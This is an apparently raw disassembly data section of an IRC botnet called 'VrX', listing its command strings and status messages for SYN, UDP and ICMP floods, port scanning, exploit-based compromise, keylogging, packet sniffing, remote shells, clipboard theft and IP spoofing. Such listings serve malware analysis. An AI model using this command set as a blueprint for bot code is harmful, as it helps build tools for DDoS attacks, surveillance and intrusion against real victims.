aNs db 'ns',0 ; DATA XREF: sub_401AC7+4F37o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401AC7+4F20o
aU: ; DATA XREF: sub_401AC7+4F09o
; ___:00438328o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401AC7+4EF2o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AC7+4EDBo
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401AC7+4EC4o
off_42AFEC dd offset word_587256 ; DATA XREF: sub_401AC7+4EADo
dword_42AFF0 dd 637370h ; DATA XREF: sub_401AC7+4E96o
aPortscan db 'portscan',0 ; DATA XREF: sub_401AC7+4E7Fo
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401AC7+4E59o
aC_action db 'c_action',0 ; DATA XREF: sub_401AC7+4E42o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401AC7+4E2Bo
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AC7+4E14o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401AC7+4DFDo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401AC7+4DE6o
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401AC7+4DCFo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401AC7+4DB8o
align 10h
aNazel db 'NAZEL',0 ; DATA XREF: sub_401AC7+4D8Ao
; sub_401AC7+4DA1o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401AC7+4D73o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AC7+4D5Co
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4D4Fo
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4CD7o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AC7+4C5Do
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401AC7+4C46o
; sub_401AC7+5225o
aSynflood db 'synflood',0 ; DATA XREF: sub_401AC7+4C2Fo
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401AC7+4C22o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AC7+4B4Bo
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AC7+4B34o
; sub_41364F:loc_41377Bo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AC7+4B1Do
; sub_41364F:loc_41375Fo
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AC7+4B06o
; sub_41364F+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401AC7+4AD8o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401AC7+4AAFo
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AC7+4A98o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401AC7+4A81o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401AC7+4A6Ao
align 4
aFf db 'ff',0 ; DATA XREF: sub_401AC7+4A53o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401AC7+4A3Co
align 4
aE: ; DATA XREF: sub_401AC7+4A25o
; ___:004382E8o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401AC7+4A0Eo
aHadeth db 'HADETH',0 ; DATA XREF: sub_401AC7+49E0o
; sub_401AC7+49F7o
align 4
aDe db 'de',0 ; DATA XREF: sub_401AC7+49C9o
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401AC7+49B2o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401AC7+499Bo
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401AC7+4984o
; sub_401AC7+6B38o
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401AC7+496Do
aTsunami db 'tsunami',0 ; DATA XREF: sub_401AC7+4956o
aT3 db 't3',0 ; DATA XREF: sub_401AC7+493Fo
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401AC7+4928o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401AC7+4911o
aC_part db 'c_part',0 ; DATA XREF: sub_401AC7+48FAo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401AC7+48E3o
aC_join db 'c_join',0 ; DATA XREF: sub_401AC7+48CCo
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401AC7+48B5o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401AC7+489Eo
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401AC7+4887o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401AC7+4870o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401AC7+4859o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401AC7+4842o
align 4
aM: ; DATA XREF: sub_401AC7+482Bo
; ___:00437FF0o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401AC7+47FDo
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401AC7+47E6o
align 4
aA: ; DATA XREF: sub_401AC7+47CFo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401AC7+47B8o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AC7+478Ao
aAa db 'aa',0 ; DATA XREF: sub_401AC7+4773o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401AC7+475Co
align 4
aKl db 'kl',0 ; DATA XREF: sub_401AC7+4745o
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401AC7+472Eo
aGh db 'gh',0 ; DATA XREF: sub_401AC7+4705o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401AC7+46EEo
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4061A8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40619Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401AC7+4694o
; sub_4098FD+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406150o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401AC7+467Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4060AEo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401AC7+45DDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401AC7+4575o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401AC7+453Fo
align 4
aPause db 'pause',0 ; DATA XREF: sub_401AC7+4527o
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405FCBo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401AC7+44FAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401AC7+44A9o
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401AC7+4476o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401AC7+4452o
aStop db 'stop',0 ; DATA XREF: sub_401AC7+4424o
; sub_401AC7+443Bo ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401AC7+440Do
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AC7+43F6o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7:loc_405EB0o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43DFo
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43B1o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4364o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4354o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401AC7+4323o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405DDDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401AC7+430Co
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401AC7+42DEo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401AC7+426Fo
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401AC7+420Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401AC7+41D6o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7:loc_405C90o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+41BFo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4191o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4122o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+40BEo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401AC7+409Eo
; sub_401AC7+41EBo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401AC7+4089o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401AC7+4072o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401AC7+405Bo
align 4
aCm db 'cm',0 ; DATA XREF: sub_401AC7+4044o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401AC7+402Do
aMirc db 'mirc',0 ; DATA XREF: sub_401AC7+4016o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AC7+3FFFo
aV: ; DATA XREF: sub_401AC7+3FE8o
; ___:00437FE4o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401AC7+3FD1o
align 4
aLi db 'li',0 ; DATA XREF: sub_401AC7+3FBAo
align 10h
aList db 'list',0 ; DATA XREF: sub_401AC7+3FA3o
align 4
aGt db 'gt',0 ; DATA XREF: sub_401AC7+3F8Co
align 4
aDel db 'del',0 ; DATA XREF: sub_401AC7+3F5Eo
aDelete db 'delete',0 ; DATA XREF: sub_401AC7+3F47o
; sub_401AC7+455Ao
align 4
aKi db 'ki',0 ; DATA XREF: sub_401AC7+3F30o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401AC7+3F19o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401AC7+3F02o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401AC7+3EEBo
align 4
aDn db 'dn',0 ; DATA XREF: sub_401AC7+3ED4o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401AC7+3EBDo
aSe db 'se',0 ; DATA XREF: sub_401AC7+3EA6o
align 10h
aO: ; DATA XREF: sub_401AC7+3E78o
; ___:00438314o
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401AC7+3E61o
; sub_401AC7+5884o ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401AC7+3E4Ao
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401AC7+3E33o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401AC7+3E1Co
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AC7+3E05o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401AC7+3DEEo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401AC7+3DD7o
align 4
aK: ; DATA XREF: sub_401AC7+3DC0o
; ___:00438304o
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401AC7+3DA9o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401AC7+3D7Bo
aPt db 'pt',0 ; DATA XREF: sub_401AC7+3D64o
align 10h
aJ: ; DATA XREF: sub_401AC7+3D36o
; ___:00438300o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401AC7+3D08o
; ___:00437FECo ...
unicode 0, <n>,0
unk_42B788 db 2Dh ; - ; DATA XREF: sub_401AC7+3CD3o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao
aRegister db 'register',0 ; DATA XREF: sub_401AC7+3C41o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AC7+3BE6o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401AC7+3B14o
dword_42B7E8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401AC7+3ABEo
; sub_401AC7+3AF9o
dd 0
dword_42B800 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401AC7+3A83o
dd 1
dword_42B818 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401AC7+3A48o
; sub_401AC7+3B66o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401AC7+39F6o
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AC7+395Bo
; sub_401AC7+399Bo ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401AC7+3904o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401AC7+3812o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401AC7+37CEo
aNick_0 db 'nick',0 ; DATA XREF: sub_401AC7+36CBo
; sub_401AC7+3CF1o
align 10h
dword_42B860 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401AC7+36B0o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B888 dd 636364h ; DATA XREF: sub_401AC7+3633o
dword_42B88C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o
dword_42B898 dd 4B43494Eh, 732520h ; DATA XREF: sub_401AC7+34C7o
; sub_401AC7+3725o ...
dword_42B8A0 dd 69257325h, 0 ; DATA XREF: sub_401AC7+34AFo
; sub_40AAA0+4Eo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401AC7+346Fo
align 10h
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AC7+3454o
; sub_401AC7+3539o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401AC7+342Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401AC7+3412o
aPart_0 db 'part',0 ; DATA XREF: sub_401AC7+33F0o
; sub_401AC7+3D4Do
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401AC7+33D5o
; sub_401AC7+3510o ...
aJoin db 'join',0 ; DATA XREF: sub_401AC7+33B3o
; sub_401AC7+3D1Fo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AC7+3398o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401AC7+334Co
; sub_401AC7+4814o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AC7+3331o
align 4
aNt db 'nt',0 ; DATA XREF: sub_401AC7+32E5o
align 10h
dword_42B910 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401AC7+32CAo
dword_42B924 dd 7463h ; DATA XREF: sub_401AC7+327Eo
dword_42B928 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o
; sub_401AC7+3869o ...
dword_42B938 dd 5Fh ; DATA XREF: sub_401AC7+3237o
; sub_401AC7+329Eo ...
dword_42B93C dd 6D70h ; DATA XREF: sub_401AC7+3217o
; sub_401AC7+47A1o
unk_42B940 db 2Dh ; - ; DATA XREF: sub_401AC7+31E7o
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401AC7+3193o
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401AC7+3172o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401AC7+315Bo
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AC7+3144o
aRin db 'rin',0 ; DATA XREF: sub_401AC7+312Do
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AC7+3116o
align 4
unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401AC7+3109o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401AC7+3097o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401AC7+3019o
unk_42BA20 db 2Dh ; - ; DATA XREF: sub_401AC7+2FF9o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401AC7+2FCFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AC7+2F97o
align 4
unk_42BA8C db 2Dh ; - ; DATA XREF: sub_401AC7+2F3Eo
; sub_401AC7+2FAFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401AC7:loc_4049E3o
; sub_401AC7+3F75o
unk_42BAC8 db 3 ; DATA XREF: sub_401AC7+2EAAo
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 4
unk_42BAF4 db 3 ; DATA XREF: sub_401AC7+2E9Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 10h
dword_42BB20 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401AC7+2E4Ao
unk_42BB30 db 3 ; DATA XREF: sub_401AC7:loc_404902o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401AC7+2E18o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBBC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401AC7+2D9Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AC7+2D98o
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401AC7+2D91o
align 10h
unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401AC7+2D1Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42BC30 db 2Dh ; - ; DATA XREF: sub_401AC7+2C96o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC5C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2C14o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC98 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2BA5o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCC0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7+2AF2o
dword_42BCD0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo
dword_42BCDC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo
dword_42BCEC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401AC7+2AD5o
unk_42BCFC db 3 ; DATA XREF: sub_401AC7+2A62o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co
; sub_401AC7:loc_409578o ...
align 4
unk_42BD2C db 3 ; DATA XREF: sub_401AC7+2A40o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo
align 10h
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o
; sub_401AC7+78DBo
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo
align 4
unk_42BD7C db 3 ; DATA XREF: sub_401AC7+29BFo
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA8 db 3 ; DATA XREF: sub_401AC7+2981o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 10h
unk_42BDC0 db 2Dh ; - ; DATA XREF: sub_401AC7+296Co
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDFC dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401AC7+28FDo
dd 65726874h, 2E736461h, 0
dword_42BE1C dd 627573h ; DATA XREF: sub_401AC7+28D7o
unk_42BE20 db 3 ; DATA XREF: sub_401AC7+2885o
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE38 db 2Dh ; - ; DATA XREF: sub_401AC7+286Ao
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE70 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401AC7+27DDo
dd 2E676Fh
unk_42BE88 db 3 ; DATA XREF: sub_401AC7+2756o
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BEA0 db 3 ; DATA XREF: sub_401AC7+2727o
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB8 db 3 ; DATA XREF: sub_401AC7+26D2o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BED0 db 2Dh ; - ; DATA XREF: sub_401AC7+26B6o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF0C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401AC7+2641o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401AC7+2621o
align 10h
unk_42BF30 db 2Dh ; - ; DATA XREF: sub_401AC7+25C2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 10h
unk_42BF50 db 3 ; DATA XREF: sub_401AC7+2571o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403F6Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF88 db 2Dh ; - ; DATA XREF: sub_401AC7+24A0o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_42BFB0 db 2Dh ; - ; DATA XREF: sub_401AC7+2484o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFDC db 3 ; DATA XREF: sub_401AC7+246Eo
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF8 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401AC7+2440o
dd 2Dh
unk_42C010 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EF7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C03C db 2Dh ; - ; DATA XREF: sub_401AC7+2429o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_42C060 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403ECCo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C08C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EC5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B8 db 2Dh ; - ; DATA XREF: sub_401AC7+23F7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0DC db 2Dh ; - ; DATA XREF: sub_401AC7+23A4o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C118 db 2Dh ; - ; DATA XREF: sub_401AC7+2335o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
